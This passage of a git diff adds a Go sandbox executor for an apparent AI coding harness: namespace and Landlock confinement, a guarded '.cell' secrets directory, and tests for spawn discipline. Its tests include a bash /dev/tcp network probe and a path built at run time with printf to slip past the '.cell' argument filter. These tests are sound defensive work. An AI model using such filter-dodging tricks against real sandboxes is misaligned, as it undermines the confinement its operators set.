string) error { + cell := filepath.Join(root, ".cell") + if _, err := os.Stat(cell); err != nil { + return nil + } + return mountTmpfs(cell, "mode=000") +} + +func dropCaps() error { + return unix.Prctl(unix.PR_CAP_AMBIENT, unix.PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0) +} + +const ( + readAccess = unix.LANDLOCK_ACCESS_FS_EXECUTE | unix.LANDLOCK_ACCESS_FS_READ_FILE | unix.LANDLOCK_ACCESS_FS_READ_DIR + // abiTruncate and abiIoctl are the ABI versions that added those rights. + abiRefer, abiTruncate, abiIoctl = 2, 3, 5 +) + +// writeAccess is every right beyond reading that this kernel ABI knows. +func writeAccess(abi int) uint64 { + w := uint64(unix.LANDLOCK_ACCESS_FS_WRITE_FILE | unix.LANDLOCK_ACCESS_FS_REMOVE_DIR | + unix.LANDLOCK_ACCESS_FS_REMOVE_FILE | unix.LANDLOCK_ACCESS_FS_MAKE_CHAR | + unix.LANDLOCK_ACCESS_FS_MAKE_DIR | unix.LANDLOCK_ACCESS_FS_MAKE_REG | + unix.LANDLOCK_ACCESS_FS_MAKE_SOCK | unix.LANDLOCK_ACCESS_FS_MAKE_FIFO | + unix.LANDLOCK_ACCESS_FS_MAKE_BLOCK | unix.LANDLOCK_ACCESS_FS_MAKE_SYM) + for v, bit := range map[int]uint64{abiRefer: unix.LANDLOCK_ACCESS_FS_REFER, + abiTruncate: unix.LANDLOCK_ACCESS_FS_TRUNCATE, abiIoctl: unix.LANDLOCK_ACCESS_FS_IOCTL_DEV} { + if abi >= v { + w |= bit + } + } + return w +} + +// applyLandlock reads anywhere but writes only in the workspace, /tmp and /dev. +func applyLandlock(enabled bool, root string) error { + if !enabled { + return nil + } + abi := landlockABI() + write := writeAccess(abi) + fd, err := createRuleset(readAccess | write) + if err != nil { + return err + } + defer unix.Close(fd) + rules := map[string]uint64{"/": readAccess, root: readAccess | write, "/dev": readAccess | write} + if !livesInTmp(root) { + rules[tmpHome] = readAccess | write + } + for path, access := range rules { + if err := allow(fd, path, access); err != nil { + return err + } + } + if err := unix.Prctl(unix.PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); err != nil { + return err + } + _, _, errno := unix.Syscall(unix.SYS_LANDLOCK_RESTRICT_SELF, uintptr(fd), 0, 0) + return errnoErr(errno) +} + +func createRuleset(handled uint64) (int, error) { + attr := unix.LandlockRulesetAttr{Access_fs: handled} + fd, _, errno := unix.Syscall(unix.SYS_LANDLOCK_CREATE_RULESET, + uintptr(unsafe.Pointer(&attr)), unsafe.Sizeof(attr), 0) + return int(fd), errnoErr(errno) +} + +// allow grants access beneath path; the access is masked to what the ruleset handles. +func allow(ruleset int, path string, access uint64) error { + fd, err := unix.Open(path, unix.O_PATH|unix.O_CLOEXEC, 0) + if err != nil { + return err + } + defer unix.Close(fd) + rule := unix.LandlockPathBeneathAttr{Allowed_access: access, Parent_fd: int32(fd)} + _, _, errno := unix.Syscall6(unix.SYS_LANDLOCK_ADD_RULE, uintptr(ruleset), + unix.LANDLOCK_RULE_PATH_BENEATH, uintptr(unsafe.Pointer(&rule)), 0, 0, 0) + return errnoErr(errno) +} + +func errnoErr(e syscall.Errno) error { + if e == 0 { + return nil + } + return e +} + +// DefaultJail is the jail this system provides. +func DefaultJail() Jail { return LinuxJail{} } diff --git a/internal/executor/jail_linux_test.go b/internal/executor/jail_linux_test.go new file mode 100644 index 0000000000..5362d9d2e9 --- /dev/null +++ b/internal/executor/jail_linux_test.go @@ -0,0 +1,98 @@ +//go:build linux + +package executor + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func jailed(t *testing.T, root string, req ExecRequest) ExecResult { + t.Helper() + if !Probe().UserNS { + t.Skip("user namespaces unavailable") + } + res, err := Local{Root: root, Jail: LinuxJail{}}.Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("Exec: %v", err) + } + return res +} + +func needLandlock(t *testing.T) { + t.Helper() + if !Probe().Landlock { + t.Skip("landlock unavailable") + } +} + +func TestProbeReportsCapabilities(t *testing.T) { + c := Probe() + t.Logf("capabilities: %+v", c) + if c != Probe() || c.Landlock != (c.LandlockABI > 0) { + t.Fatalf("probe unstable or inconsistent: %+v", c) + } +} + +// dial exits 0 when 1.1.1.1:443 is reachable. +var dial = ExecRequest{Argv: []string{"bash", "-c", "exec 3<>/dev/tcp/1.1.1.1/443"}, Timeout: 10 * time.Second} + +func TestDenyPolicyBlocksNetwork(t *testing.T) { + deny := jailed(t, t.TempDir(), dial) + if deny.Exit == 0 { + t.Fatal("dial succeeded inside a deny jail") + } + open := dial + open.Setup = true + if r := jailed(t, t.TempDir(), open); r.Exit != 0 { + t.Skipf("host itself cannot reach 1.1.1.1: %s", r.Stderr) + } +} + +func TestWriteOutsideWorkspaceFails(t *testing.T) { + needLandlock(t) + root := t.TempDir() + outside := filepath.Join(os.Getenv("HOME"), ".jail-test-outside") + defer os.Remove(outside) + res := jailed(t, root, sh("echo x > "+outside+"; echo y > inside.txt")) + if _, err := os.Stat(outside); err == nil { + t.Fatal("wrote outside the workspace") + } + if b, _ := os.ReadFile(filepath.Join(root, "inside.txt")); strings.TrimSpace(string(b)) != "y" { + t.Fatalf("workspace write failed: %s", res.Stderr) + } + if !res.JailDegraded == !Probe().Landlock { + t.Fatal("JailDegraded disagrees with the probe") + } +} + +func TestCellIsUnreadable(t *testing.T) { + root := t.TempDir() + cell := filepath.Join(root, ".cell") + if err := os.Mkdir(cell, 0o755); err != nil { + t.Fatal(err) + } + os.WriteFile(filepath.Join(cell, "secret"), []byte("s"), 0o644) + // The path is assembled at run time: a literal .cell argument is refused by + // the executor before it reaches the jail, and this tests the jail. + res := jailed(t, root, sh(`cat "$(printf '.ce%s' ll)/secret"`)) + if res.Exit == 0 || strings.Contains(string(res.Stdout), "s") { + t.Fatalf("read .cell inside the jail: %+v", res) + } + if b, _ := os.ReadFile(filepath.Join(cell, "secret")); string(b) != "s" { + t.Fatal("host .cell was altered") + } +} + +func TestHostBoundRunsUnjailed(t *testing.T) { + req := dial + req.Timeout = 10 * time.Second + res, err := Local{Root: t.TempDir(), Class: HostBound, Jail: LinuxJail{}}.Exec(context.Background(), req, nil) + if err != nil || res.JailDegraded { + t.Fatalf("host-bound call was jailed: %+v %v", res, err) + } +} diff --git a/internal/executor/jail_other.go b/internal/executor/jail_other.go new file mode 100644 index 0000000000..a17b60fa91 --- /dev/null +++ b/internal/executor/jail_other.go @@ -0,0 +1,6 @@ +//go:build !linux && !darwin + +package executor + +// DefaultJail is nil where no jail exists: processes run unconfined. +func DefaultJail() Jail { return nil } diff --git a/internal/executor/jail_probe_linux.go b/internal/executor/jail_probe_linux.go new file mode 100644 index 0000000000..7519b6593f --- /dev/null +++ b/internal/executor/jail_probe_linux.go @@ -0,0 +1,72 @@ +//go:build linux + +package executor + +import ( + "os" + "os/exec" + "sync" + "syscall" + + "golang.org/x/sys/unix" +) + +// Capabilities is what this kernel lets an unprivileged process confine with. +type Capabilities struct { + // UserNS: a private user, mount and network namespace can be created. + UserNS bool + // Landlock: the kernel enforces Landlock filesystem rules. + Landlock bool + // LandlockABI is the Landlock ABI version, zero when absent. + LandlockABI int +} + +var ( + probeOnce sync.Once + probed Capabilities +) + +// Probe reports the confinement capabilities, measured once and cached. +func Probe() Capabilities { + probeOnce.Do(func() { + abi := landlockABI() + probed = Capabilities{UserNS: userNSWorks(), Landlock: abi > 0, LandlockABI: abi} + }) + return probed +} + +func landlockABI() int { + v, _, errno := unix.Syscall(unix.SYS_LANDLOCK_CREATE_RULESET, 0, 0, unix.LANDLOCK_CREATE_RULESET_VERSION) + if errno != 0 { + return 0 + } + return int(v) +} + +// userNSWorks starts a no-op child in the namespaces the jail needs. +func userNSWorks() bool { + path, err := exec.LookPath("true") + if err != nil { + return false + } + cmd := exec.Command(path) //codeaf:plumbing capability probe of the jail itself + cmd.SysProcAttr = namespaceAttr(true) + return cmd.Run() == nil +} + +// namespaceAttr builds the clone attributes: a user namespace mapping the +// caller to itself, a private mount namespace, and optionally a network one. +// CAP_SYS_ADMIN survives the exec into the helper as an ambient capability. +func namespaceAttr(newNet bool) *syscall.SysProcAttr { + flags := uintptr(syscall.CLONE_NEWUSER | syscall.CLONE_NEWNS) + if newNet { + flags |= syscall.CLONE_NEWNET + } + uid, gid := os.Getuid(), os.Getgid() + return &syscall.SysProcAttr{ + Cloneflags: flags, + UidMappings: []syscall.SysProcIDMap{{ContainerID: uid, HostID: uid, Size: 1}}, + GidMappings: []syscall.SysProcIDMap{{ContainerID: gid, HostID: gid, Size: 1}}, + AmbientCaps: []uintptr{unix.CAP_SYS_ADMIN}, + } +} diff --git a/internal/executor/law_test.go b/internal/executor/law_test.go new file mode 100644 index 0000000000..6992919d26 --- /dev/null +++ b/internal/executor/law_test.go @@ -0,0 +1,284 @@ +package executor + +import ( + "fmt" + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + "testing" +) + +// ── THE L4 LAW ────────────────────────────────────────────────────────────── +// +// The executor is the only path to a process (docs/ARCHITECTURE.md 8.2). In the +// packages that run tools, every call to os/exec's Command or CommandContext +// must therefore carry a tag comment on its own line or the line above it: +// +// //codeaf:plumbing harness plumbing (git, ps, an opener); the +// reason is required and is read by a reviewer +// //codeaf:tool-pending a tool spawn awaiting migration onto Executor +// (task 4.2); the tests list them, and the tag +// disappears when the site moves +// +// An untagged spawn fails the test. Everything else in the tree is out of this +// law's scope: it constrains tool execution, not every process the harness +// ever starts. + +// lawScope lists the tool-execution paths the law covers: directories, or +// single files where only part of a package runs tools. +var lawScope = []string{ + "internal/exec", + "internal/executor", + "internal/seniordev", + "internal/resident", + "internal/verify", + "internal/delegate", + "internal/session/jobs.go", + "internal/session/tools_watch.go", +} + +const ( + tagPlumbing = "//codeaf:plumbing" + tagPending = "//codeaf:tool-pending" +) + +// site is one spawn call and the tag found for it. +type site struct { + file string + line int + tag string // "", tagPlumbing or tagPending + text string // the tag comment, for the reason check +} + +func (s site) String() string { return fmt.Sprintf("%s:%d", s.file, s.line) } + +// violation names why a site breaks the law, or "" when it does not. +func (s site) violation() string { + switch s.tag { + case tagPending: + return "" + case tagPlumbing: + if strings.TrimSpace(strings.TrimPrefix(s.text, tagPlumbing)) == "" { + return "carries //codeaf:plumbing with no reason" + } + return "" + } + return "spawns a process without going through internal/executor and carries no tag" +} + +func TestL4_ToolSpawnsGoThroughTheExecutor(t *testing.T) { + sites := scopedSites(t) + var pending []string + for _, s := range sites { + if reason := s.violation(); reason != "" { + t.Errorf("%s %s", s, reason) + } + if s.tag == tagPending { + pending = append(pending, s.String()) + } + } + sort.Strings(pending) + t.Logf("%d spawn sites scanned; %d tool-pending (task 4.2 inventory):\n %s", + len(sites), len(pending), strings.Join(pending, "\n ")) +} + +func TestL4_UntaggedSpawnFails(t *testing.T) { + cases := map[string]struct { + source string + want string + }{ + "untagged": {"exec.Command(\"ls\")", "no tag"}, + "tagged pending": {"//codeaf:tool-pending\n\texec.Command(\"ls\")", ""}, + "tagged plumbing": {"exec.Command(\"ls\") //codeaf:plumbing lists a directory", ""}, + "no reason": {"//codeaf:plumbing\n\texec.Command(\"ls\")", "no reason"}, + "stale tag": {"//codeaf:tool-pending\n\n\texec.Command(\"ls\")", "no tag"}, + } + for name, c := range cases { + src := "package p\nimport \"os/exec\"\nfunc f() {\n\t" + c.source + "\n}\n" + found := sitesIn(t, "fixture.go", src) + if len(found) != 1 { + t.Fatalf("%s: want one site, got %d", name, len(found)) + } + if got := found[0].violation(); !strings.Contains(got, c.want) || (c.want == "") != (got == "") { + t.Errorf("%s: violation %q, want it to contain %q", name, got, c.want) + } + } +} + +func TestL4_AliasedImportIsStillASpawn(t *testing.T) { + src := "package p\nimport osexec \"os/exec\"\nfunc f() { osexec.CommandContext(nil, \"ls\") }\n" + if got := sitesIn(t, "fixture.go", src); len(got) != 1 { + t.Fatalf("want the aliased spawn found, got %d sites", len(got)) + } +} + +// scopedSites parses every non-test file in scope and returns its spawn sites. +func scopedSites(t *testing.T) []site { + t.Helper() + root, err := filepath.Abs(filepath.Join("..", "..")) + if err != nil { + t.Fatal(err) + } + var sites []site + for _, path := range lawFiles(t, root) { + source, err := os.ReadFile(filepath.Join(root, path)) + if err != nil { + t.Fatal(err) + } + sites = append(sites, sitesIn(t, path, string(source))...) + } + if len(sites) == 0 { + t.Fatal("no spawn sites found in scope, so this law would pass vacuously") + } + return sites +} + +// lawFiles is every non-test .go file under lawScope, relative to root. +func lawFiles(t *testing.T, root string) []string { + t.Helper() + var files []string + for _, entry := range lawScope { + err := filepath.WalkDir(filepath.Join(root, entry), func(path string, d fs.DirEntry, err error) error { + if err == nil && !d.IsDir() && isLawSource(path) { + rel, _ := filepath.Rel(root, path) + files = append(files, filepath.ToSlash(rel)) + } + return err + }) + if err != nil { + t.Fatalf("walk %s: %v", entry, err) + } + } + return files +} + +func isLawSource(path string) bool { + return strings.HasSuffix(path, ".go") && !strings.HasSuffix(path, "_test.go") +} + +// sitesIn finds every os/exec spawn in one source file. A file that does not +// parse fails the test: a law that skips what it cannot read proves nothing. +func sitesIn(t *testing.T, name, source string) []site { + t.Helper() + fset := token.NewFileSet() + file, err := parser.ParseFile(fset, name, source, parser.ParseComments) + if err != nil { + t.Fatalf("parse %s: %v", name, err) + } + local := execImportName(file) + if local == "" { + return nil + } + tags := tagsByLine(fset, file) + var sites []site + ast.Inspect(file, func(n ast.Node) bool { + if call, ok := n.(*ast.CallExpr); ok && isSpawn(call, local) { + line := fset.Position(call.Pos()).Line + text := tags.near(line) + sites = append(sites, site{file: name, line: line, tag: tagOf(text), text: text}) + } + return true + }) + return sites +} + +// execImportName is the local name os/exec is imported under, or "". +func execImportName(file *ast.File) string { + for _, imp := range file.Imports { + if path, _ := strconv.Unquote(imp.Path.Value); path != "os/exec" { + continue + } + if imp.Name != nil { + return imp.Name.Name + } + return "exec" + } + return "" +} + +func isSpawn(call *ast.CallExpr, local string) bool { + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return false + } + pkg, ok := sel.X.(*ast.Ident) + return ok && pkg.Name == local && (sel.Sel.Name == "Command" || sel.Sel.Name == "CommandContext") +} + +func tagOf(text string) string { + switch { + case strings.HasPrefix(text, tagPlumbing): + return tagPlumbing + case strings.HasPrefix(text, tagPending): + return tagPending + } + return "" +} + +// lineTags indexes comment text by the line each comment group touches. +type lineTags struct { + trailing map[int]string // comment starting on the line + above map[int]string // comment group ending on the line +} + +func tagsByLine(fset *token.FileSet, file *ast.File) lineTags { + tags := lineTags{trailing: map[int]string{}, above: map[int]string{}} + for _, group := range file.Comments { + for _, c := range group.List { + tags.trailing[fset.Position(c.Pos()).Line] = c.Text + } + last := group.List[len(group.List)-1] + tags.above[fset.Position(last.End()).Line] = tagLine(group) + } + return tags +} + +// tagLine is the group's first comment that is a tag, or its last comment. +func tagLine(group *ast.CommentGroup) string { + for _, c := range group.List { + if tagOf(c.Text) != "" { + return c.Text + } + } + return group.List[len(group.List)-1].Text +} + +// near is the tag comment for a call on line: on the line, else ending above. +func (l lineTags) near(line int) string { + if text := l.trailing[line]; tagOf(text) != "" { + return text + } + return l.above[line-1] +} + +// A production binary never has the test seat: only test files may reach +// executortest, and only that package may call UseInTests. +func TestTestSeatIsReachableOnlyFromTests(t *testing.T) { + root, err := filepath.Abs(filepath.Join("..", "..")) + if err != nil { + t.Fatal(err) + } + err = filepath.WalkDir(filepath.Join(root, "internal"), func(path string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() || !strings.HasSuffix(path, ".go") || strings.HasSuffix(path, "_test.go") { + return err + } + rel, _ := filepath.Rel(root, path) + if strings.HasPrefix(filepath.ToSlash(rel), "internal/executor/") { + return nil + } + source, readErr := os.ReadFile(path) + if readErr == nil && (strings.Contains(string(source), "executortest") || strings.Contains(string(source), "UseInTests(")) { + t.Errorf("%s reaches the test seat from production code", rel) + } + return readErr + }) + if err != nil { + t.Fatal(err) + } +} diff --git a/internal/executor/local.go b/internal/executor/local.go new file mode 100644 index 0000000000..72305fc288 --- /dev/null +++ b/internal/executor/local.go @@ -0,0 +1,287 @@ +package executor + +import ( + "bytes" + "context" + "errors" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "regexp" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// settleDelay bounds how long Exec waits for output pipes after the process +// exits, so a child that keeps them open cannot hold the call. +const settleDelay = 200 * time.Millisecond + +// Jail is the single seam for confinement: it may rewrite the command (wrap it, +// set attributes) before it starts. See jail_linux.go for the Linux jail; other systems keep no confinement. +type Jail interface { + Confine(cmd *exec.Cmd, req ExecRequest) error +} + +// Degrader is optionally implemented by a jail that may run with fewer +// limits than asked for on this kernel; the result then says so. +type Degrader interface { + Degraded(req ExecRequest) bool +} + +type noJail struct{} + +func (noJail) Confine(*exec.Cmd, ExecRequest) error { return nil } + +// Local spawns processes on this device, rooted at one workspace directory. +type Local struct { + Root string + Class Class // the workspace's declared class; the zero value is Sandboxed + Jail Jail // nil means no confinement + Setup bool // every call is a setup turn's (docs/ARCHITECTURE.md 8.4) + + // Observer, when set, sees each call that ran to a result. + Observer Observer + + // Secrets, when set, names variables added to every process's environment: + // the vault's, for a workspace whose secret files are not in its history. + Secrets SecretSource +} + +// resolve stamps the request with the workspace's class and the network policy +// that class allows for it: the one place a policy is chosen. +func (l Local) resolve(req ExecRequest) ExecRequest { + req.Class = l.Class + req.Setup = req.Setup || l.Setup + req.Net = PolicyFor(l.Class, req.Setup) + return req +} + +// Exec implements Executor. +func (l Local) Exec(ctx context.Context, req ExecRequest, onOutput func(Chunk)) (ExecResult, error) { + req = l.resolve(req) + ctx, cancel := withTimeout(ctx, req.Timeout) + defer cancel() + if req.WaitDelay == 0 { + req.WaitDelay = settleDelay + } + cmd, err := l.Command(ctx, req) + if err != nil { + return ExecResult{}, err + } + res, err := run(ctx, cmd, req, l.Root, onOutput) + res.JailDegraded = degraded(l.Jail, req) + if err == nil && l.Observer != nil { + l.Observer.Observe(req, res) + } + return res, err +} + +func degraded(j Jail, req ExecRequest) bool { + d, ok := j.(Degrader) + return ok && req.Class == Sandboxed && d.Degraded(req) +} + +// Command builds the one confined, unstarted command for a request: class and +// directory checked, environment, group and cancellation set, the jail applied. +// The caller wires the streams it needs, starts it and waits. It is for +// processes whose lifetime the caller owns (background jobs, pipelines, +// interactive children); Timeout is not applied here, and ctx ends the process +// only when it is cancelled. +func (l Local) Command(ctx context.Context, req ExecRequest) (*exec.Cmd, error) { + req = l.resolve(req) + dir, err := l.check(req) + if err != nil { + return nil, err + } + cmd := exec.CommandContext(ctx, req.Argv[0], req.Argv[1:]...) //codeaf:plumbing the executor is the spawn seam + cmd.Dir, cmd.Env, cmd.Stdin = dir, l.withSecrets(req.Env), req.Stdin + configureGroup(cmd, req.Group) + cmd.Cancel = canceller(cmd, req.Group) + cmd.WaitDelay = req.WaitDelay + if err := l.confine(cmd, req); err != nil { + return nil, err + } + return cmd, nil +} + +// SecretSource is where a process's secret variables come from (the vault). +type SecretSource interface { + Env() []string +} + +// withSecrets is env with the vault's variables added; a nil env inherits the +// host's, so it stays nil when there is nothing to add. +func (l Local) withSecrets(env []string) []string { + if l.Secrets == nil { + return env + } + extra := l.Secrets.Env() + if len(extra) == 0 { + return env + } + if env == nil { + env = os.Environ() + } + return append(append([]string(nil), env...), extra...) +} + +func configureGroup(cmd *exec.Cmd, g Group) { + switch g { + case GroupOwn: + processgroup.Configure(cmd) + case GroupSession: + processgroup.ConfigureDetached(cmd) + } +} + +// canceller ends the whole group the child leads, or the child alone when it +// shares the harness's group. +func canceller(cmd *exec.Cmd, g Group) func() error { + return func() error { + switch { + case cmd.Process == nil: + return os.ErrProcessDone + case g == GroupInherit: + return cmd.Process.Kill() + } + return processgroup.Kill(cmd.Process.Pid) + } +} + +// check validates a request and returns the directory it runs in. +func (l Local) check(req ExecRequest) (string, error) { + if !req.Class.rule().Spawns { + return "", errors.New("executor: a files-only workspace runs no process") + } + if len(req.Argv) == 0 { + return "", errors.New("executor: empty argv") + } + if arg, hit := cellArg(req.Argv); hit { + return "", fmt.Errorf("executor: argument %q reaches into the harness-owned .cell directory", arg) + } + return resolve(l.Root, req.Dir) +} + +// confine applies the jail to sandboxed calls only. +func (l Local) confine(cmd *exec.Cmd, req ExecRequest) error { + if req.Class != Sandboxed { + return nil + } + return l.jail().Confine(cmd, req) +} + +// cellRef matches ".cell" as a whole path segment anywhere in an argument, +// including inside a shell command line or a --flag=path. +var cellRef = regexp.MustCompile(`(^|[/=\s'"])\.cell($|[/\s'"])`) + +// cellArg returns the first argument that names the .cell directory. +func cellArg(argv []string) (string, bool) { + for _, a := range argv { + if cellRef.MatchString(filepath.ToSlash(a)) { + return a, true + } + } + return "", false +} + +func (l Local) jail() Jail { + if l.Jail == nil { + return noJail{} + } + return l.Jail +} + +// resolve joins a workspace-relative directory to the root, refusing anything +// that escapes it or reaches into the harness-owned .cell directory. +func resolve(root, rel string) (string, error) { + clean := filepath.Clean(rel) + first, _, _ := strings.Cut(filepath.ToSlash(clean), "/") + if filepath.IsAbs(clean) || first == ".." || first == ".cell" { + return "", fmt.Errorf("executor: directory %q is outside the workspace", rel) + } + return filepath.Join(root, clean), nil +} + +func withTimeout(ctx context.Context, d time.Duration) (context.Context, context.CancelFunc) { + if d <= 0 { + return context.WithCancel(ctx) + } + return context.WithTimeout(ctx, d) +} + +func run(ctx context.Context, cmd *exec.Cmd, req ExecRequest, root string, onOutput func(Chunk)) (ExecResult, error) { + var out, errb bytes.Buffer + cmd.Stdout, cmd.Stderr = sinks(req, &out, &errb, serialized(onOutput)) + start := time.Now() + if err := cmd.Start(); err != nil { + return ExecResult{}, err + } + waitErr := cmd.Wait() + res := ExecResult{ + Exit: cmd.ProcessState.ExitCode(), Status: cmd.ProcessState.String(), + Stdout: out.Bytes(), Stderr: errb.Bytes(), + Wall: time.Since(start), SideEffect: Classify(req.Net), + TimedOut: errors.Is(ctx.Err(), context.DeadlineExceeded), + PipesForced: errors.Is(waitErr, exec.ErrWaitDelay), + Services: services(ctx, cmd, req, root), + } + return res, outcome(ctx, waitErr) +} + +// sinks picks the writers a run's streams go to: the chunk callback always, +// the result's buffers unless the call streams, and one shared writer when +// stderr is combined into stdout. +func sinks(req ExecRequest, out, errb *bytes.Buffer, emit func(Chunk)) (io.Writer, io.Writer) { + stdout, stderr := io.Writer(&chunkWriter{Stdout, emit}), io.Writer(&chunkWriter{Stderr, emit}) + if !req.Stream { + stdout, stderr = io.MultiWriter(out, stdout), io.MultiWriter(errb, stderr) + } + if req.Combined { + return stdout, stdout + } + return stdout, stderr +} + +// outcome separates "the process exited" (a result) from "the call failed". +func outcome(ctx context.Context, waitErr error) error { + var exited *exec.ExitError + switch { + case errors.Is(ctx.Err(), context.Canceled): + return ctx.Err() + case waitErr == nil, errors.As(waitErr, &exited), errors.Is(waitErr, exec.ErrWaitDelay): + return nil + case errors.Is(ctx.Err(), context.DeadlineExceeded): + return nil + } + return waitErr +} + +// chunkWriter turns writes on one stream into Chunks. +type chunkWriter struct { + stream Stream + emit func(Chunk) +} + +func (w *chunkWriter) Write(p []byte) (int, error) { + w.emit(Chunk{Stream: w.stream, Data: append([]byte(nil), p...)}) + return len(p), nil +} + +// serialized makes a nil or concurrent-unsafe callback safe to call from both +// output goroutines. +func serialized(f func(Chunk)) func(Chunk) { + if f == nil { + return func(Chunk) {} + } + var mu sync.Mutex + return func(c Chunk) { + mu.Lock() + defer mu.Unlock() + f(c) + } +} diff --git a/internal/executor/local_test.go b/internal/executor/local_test.go new file mode 100644 index 0000000000..b33b3d621d --- /dev/null +++ b/internal/executor/local_test.go @@ -0,0 +1,141 @@ +package executor + +import ( + "context" + "strings" + "syscall" + "testing" + "time" +) + +func sh(script string) ExecRequest { + return ExecRequest{Argv: []string{"sh", "-c", script}} +} + +func exec1(t *testing.T, req ExecRequest, on func(Chunk)) ExecResult { + t.Helper() + res, err := Local{Root: t.TempDir()}.Exec(context.Background(), req, on) + if err != nil { + t.Fatalf("Exec: %v", err) + } + return res +} + +func TestLocalRunsAndCapturesOutput(t *testing.T) { + var streamed []Chunk + res := exec1(t, sh("echo out; echo err >&2"), func(c Chunk) { streamed = append(streamed, c) }) + if res.Exit != 0 || string(res.Stdout) != "out\n" || string(res.Stderr) != "err\n" { + t.Fatalf("unexpected result: %+v", res) + } + if len(streamed) != 2 { + t.Fatalf("want 2 streamed chunks, got %d", len(streamed)) + } +} + +func TestLocalReportsExitCode(t *testing.T) { + if res := exec1(t, sh("exit 7"), nil); res.Exit != 7 || res.TimedOut { + t.Fatalf("want exit 7, got %+v", res) + } +} + +func TestLocalTimesOutAndKillsTheGroup(t *testing.T) { + req := sh("sleep 30 & sleep 30") + req.Timeout = 150 * time.Millisecond + res := exec1(t, req, nil) + if !res.TimedOut || res.Exit == 0 || len(res.Services) != 0 { + t.Fatalf("want a timed-out kill with no services, got %+v", res) + } + if res.Wall > 5*time.Second { + t.Fatalf("timeout was not prompt: %v", res.Wall) + } +} + +func TestLocalRecordsALeftRunningChildAsAService(t *testing.T) { + res := exec1(t, sh("sleep 30 >/dev/null 2>&1 &"), nil) + if len(res.Services) != 1 { + t.Fatalf("want one service, got %+v", res.Services) + } + pgid := res.Services[0].PGID + t.Cleanup(func() { _ = syscall.Kill(-pgid, syscall.SIGKILL) }) + if res.Wall > 5*time.Second { + t.Fatalf("a background child held the call for %v", res.Wall) + } +} + +func TestLocalCleanExitLeavesNoServices(t *testing.T) { + if res := exec1(t, sh("true"), nil); len(res.Services) != 0 { + t.Fatalf("want no services, got %+v", res.Services) + } +} + +func TestLocalRunsInTheRelativeDirectory(t *testing.T) { + root := t.TempDir() + req := sh("pwd") + req.Dir = "." + res, err := Local{Root: root}.Exec(context.Background(), req, nil) + if err != nil || !strings.HasSuffix(strings.TrimSpace(string(res.Stdout)), root[strings.LastIndex(root, "/"):]) { + t.Fatalf("pwd = %q, err %v", res.Stdout, err) + } +} + +func TestLocalRefusesBadRequests(t *testing.T) { + bad := map[string]ExecRequest{ + "escape": {Argv: []string{"true"}, Dir: "../x"}, + "absolute": {Argv: []string{"true"}, Dir: "/etc"}, + "cell": {Argv: []string{"true"}, Dir: ".cell/env"}, + "empty argv": {}, + } + for name, req := range bad { + if _, err := (Local{Root: t.TempDir()}).Exec(context.Background(), req, nil); err == nil { + t.Errorf("%s: want an error", name) + } + } + if _, err := (Local{Root: t.TempDir(), Class: FilesOnly}).Exec(context.Background(), sh("true"), nil); err == nil { + t.Error("files only: want an error") + } +} + +func TestLocalSurfacesCancellation(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + time.AfterFunc(100*time.Millisecond, cancel) + if _, err := (Local{Root: t.TempDir()}).Exec(ctx, sh("sleep 30"), nil); err == nil { + t.Fatal("want the cancellation reported") + } +} + +func TestRemoteIsNotImplemented(t *testing.T) { + var _ Executor = Remote{} + if _, err := (Remote{}).Exec(context.Background(), sh("true"), nil); err != ErrRemoteNotImplemented { + t.Fatalf("got %v", err) + } +} + +func TestCombinedStreamKeepsArrivalOrderAndRetainsNothing(t *testing.T) { + req := sh("echo a; echo b >&2; echo c") + req.Combined, req.Stream = true, true + var got strings.Builder + res := exec1(t, req, func(c Chunk) { got.Write(c.Data) }) + if got.String() != "a\nb\nc\n" || len(res.Stdout) != 0 || len(res.Stderr) != 0 { + t.Fatalf("got %q, result kept %q/%q", got.String(), res.Stdout, res.Stderr) + } +} + +func TestFailureNamesTheProcessStatus(t *testing.T) { + res := exec1(t, sh("exit 3"), nil) + if err := res.Failure(); err == nil || err.Error() != "exit status 3" { + t.Fatalf("Failure = %v", err) + } + if exec1(t, sh("true"), nil).Failure() != nil { + t.Fatal("a clean exit is not a failure") + } +} + +func TestCommandBuildsAnUnstartedCommandInItsOwnGroup(t *testing.T) { + cmd, err := Local{Root: t.TempDir()}.Command(context.Background(), sh("true")) + if err != nil { + t.Fatal(err) + } + if cmd.Process != nil || cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid { + t.Fatalf("want an unstarted command with Setpgid, got %+v", cmd) + } +} diff --git a/internal/executor/modelcall.go b/internal/executor/modelcall.go new file mode 100644 index 0000000000..b3597c05f2 --- /dev/null +++ b/internal/executor/modelcall.go @@ -0,0 +1,25 @@ +package executor + +// ModelCall is one model call as a seat is told of it: who answered, for what, +// and what it cost. The seat that keeps a record puts it in the next receipt. +type ModelCall struct { + Model string + Role string + TokensIn int + TokensOut int + TokensCached int + CostMicroUSD int64 +} + +// ModelNoter is a seat that records model calls. +type ModelNoter interface { + NoteModelCall(ModelCall) +} + +// NoteModelCall tells the seat about a model call. A seat that keeps no record +// ignores it, the way ForSetup leaves a seat that cannot tell setup apart. +func NoteModelCall(s Seat, m ModelCall) { + if n, ok := s.(ModelNoter); ok { + n.NoteModelCall(m) + } +} diff --git a/internal/executor/policy.go b/internal/executor/policy.go new file mode 100644 index 0000000000..5af9034b63 --- /dev/null +++ b/internal/executor/policy.go @@ -0,0 +1,38 @@ +package executor + +// rule is what one class allows (docs/ARCHITECTURE.md section 8.3). Network +// policy is the side-effect oracle: a call with the network denied is provably +// local, one with it open is external. +type rule struct { + Spawns bool // may run a process at all + Net NetPolicy // an ordinary call + Setup NetPolicy // a setup turn's call (network allowed, external) +} + +var ( + openNet = NetPolicy{Open: true} + // rules is the whole class to policy mapping; there is no other place a + // policy is chosen. + rules = map[Class]rule{ + FilesOnly: {Spawns: false}, + Sandboxed: {Spawns: true, Net: NetPolicy{}, Setup: openNet}, + HostBound: {Spawns: true, Net: openNet, Setup: openNet}, + } + classNames = map[string]Class{"files-only": FilesOnly, "sandboxed": Sandboxed, 